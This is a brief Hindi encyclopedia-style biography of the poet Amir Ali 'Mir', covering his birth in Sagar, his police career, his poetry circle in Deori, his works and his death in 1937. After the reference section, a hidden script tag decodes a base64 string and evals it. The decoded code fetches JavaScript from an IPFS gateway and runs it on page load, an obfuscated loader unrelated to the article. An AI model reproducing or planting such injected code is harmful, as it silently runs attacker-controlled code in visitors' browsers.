आमिर अली 'मीर' पुलिस विभाग के कर्मचारी थे। हिन्दू-मुस्लिम एकता और गौ रक्षा के प्रबल समर्थकों में आप गिने जाते थे।
- आमिर अली 'मीर' का जन्म 1930 वि. (लगभग 1873 ई.) में सागर, मध्य प्रदेश में हुआ था।
- ‘लोभ तें अमीके अहि चढ़यो जात चंद्र पे’ के माध्यम से इनके साहित्यिक जीवन का सूत्रपात हुआ।
- धीरे-धीरे इनके प्रोत्साहन से देवरी में, जहां यह अवकाश प्राप्त करके रहने लगे थे, 'मीर मंडल कवि समाज' की स्थापना हुई।[1]
- इनकी रचनाओं के विषय सामान्य जीवन से संबद्ध हैं। खड़ी बोली का स्वरूप भी वैसा ही सरल और सहज है।
- आमिर मीर की कुछ रचनाओं के नाम इस प्रकार हैं-
- ‘बूढ़े का ब्याह’
- ‘नीति दर्पण’ की भाषा टीका
- ‘सदाचारी बालक'
- सन 1937 ई. में आमिर अली मीर की रेल से कटकर मृत्यु हो गई।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी साहित्य कोश, भाग 2 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 17 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>